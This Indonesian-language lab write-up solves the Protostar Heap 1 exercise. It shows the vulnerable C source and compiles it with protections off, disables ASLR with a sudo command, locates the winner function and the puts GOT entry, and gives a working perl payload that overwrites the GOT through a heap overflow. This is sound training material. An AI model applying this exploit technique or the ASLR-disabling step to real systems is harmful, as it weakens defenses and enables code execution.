Protostar Heap 1

Alat dan Bahan

  • Fail: vuln.c
  • Kompiler: GCC
  • Sistem operasi: Ubuntu 16.04 dengan arsitektur 64 bit.

Mengatur Lingkungan Pekerjaan

  1. Source Code
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>



struct internet {
  int priority;
  char *name;
};

void winner()
{
  printf("and we have a winner @ %d\n", time(NULL));
}

int main(int argc, char **argv)
{
  struct internet *i1, *i2, *i3;

  i1 = malloc(sizeof(struct internet));
  i1->priority = 1;
  i1->name = malloc(8);

  i2 = malloc(sizeof(struct internet));
  i2->priority = 2;
  i2->name = malloc(8);

  strcpy(i1->name, argv[1]);
  strcpy(i2->name, argv[2]);

  printf("and that's a wrap folks!\n");
}
  1. Kompilasi
gcc -m32 -fno-stack-protector -z execstack -mpreferred-stack-boundary=4 -o vuln -ggdb vuln.c

Penjelasan

-m32
Kompilasi source code menjadi binary dengan arsitektur 32 bit atau x86.

-fno-stack-protector
Kompilasi source code menjadi binary tanpa pelindung stack (canary).

-z execstack
Berguna mengaktifkan status stack agar dapat dieksekusi

-mpreferred-stack-boundary
Pada dasarnya, GCC akan mengkompilasi kode pada setiap fungsi sesuai urutan, masing-masing memiliki stack pointer dengan alinea 16-byte bondary (ini sangat penting jika program memiliki variabel lokal dan bisa juga digunakan untuk mengaktifkan instruksi sse2.
Jika parameter dirubah menjadi -mpreferred-stack-boundary=2 maka GCC akan menyusun stack pointer pada 4-byte-boundary. Ini akan menguangi kebutuhan stack didalam program, tetapi akan terjadi crash jika kode program yang dipanggil menggunakan sse2, sehingga secara umum menjadi program hasil kompilasi menjadi tidak aman.

-ggdb
Digunakan untuk menghasilkan informasi pada saat proses debugging ketika menggunakan GDB. Dengan kata lain format ekspresif telah disediakan (DWARF 2, stabs, atau fomat native lainnya jika tidak didukung), termasuk ekstensi GDB.
  1. Mematikan ASLR

Matikan ASLR agar proses eksploitasi lebih mudah. Untuk mematikannya gunakan perintah berikut:

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

Identifikasi Kelemahan

Berdasarkan source code diatas terdapat kelemahan heap overflow pada variabel i1->name, i2->name yang dapat menyebabkan overwrite pada variabel i2->name. Tujuan akhirnya adalah menimpa variabel tersebut dengan fungsi winner.

objdump -t vuln | grep winner
080484cb g     F .text    00000027              winner

Cari jumlah bytes yang tepat untuk overwrite bisa menggunakan iterasi byte pada input program sampai terjadi segmentation fault. Jumlah byte yang tepat adalah 20 agar fungsi winner bisa dijalankan maka gunakan GOT puts.

objdump -R vuln

vuln:     file format elf32-i386

DYNAMIC RELOCATION RECORDS
OFFSET   TYPE              VALUE 
08049ffc R_386_GLOB_DAT    __gmon_start__
0804a00c R_386_JUMP_SLOT   printf@GLIBC_2.0
0804a010 R_386_JUMP_SLOT   time@GLIBC_2.0
0804a014 R_386_JUMP_SLOT   strcpy@GLIBC_2.0
0804a018 R_386_JUMP_SLOT   malloc@GLIBC_2.0
0804a01c R_386_JUMP_SLOT   puts@GLIBC_2.0
0804a020 R_386_JUMP_SLOT   __libc_start_main@GLIBC_2.0

Eksploitasi

Untuk menyelesaikannya, gunakan payload dibawah ini.

./vuln $(perl -e 'print "A"x20 . "\x1c\xa0\x04\x08" . " " . "\xcb\x84\x04\x08"')
and we have a winner @ 1521896919

Referensi

results matching ""

    No results matching ""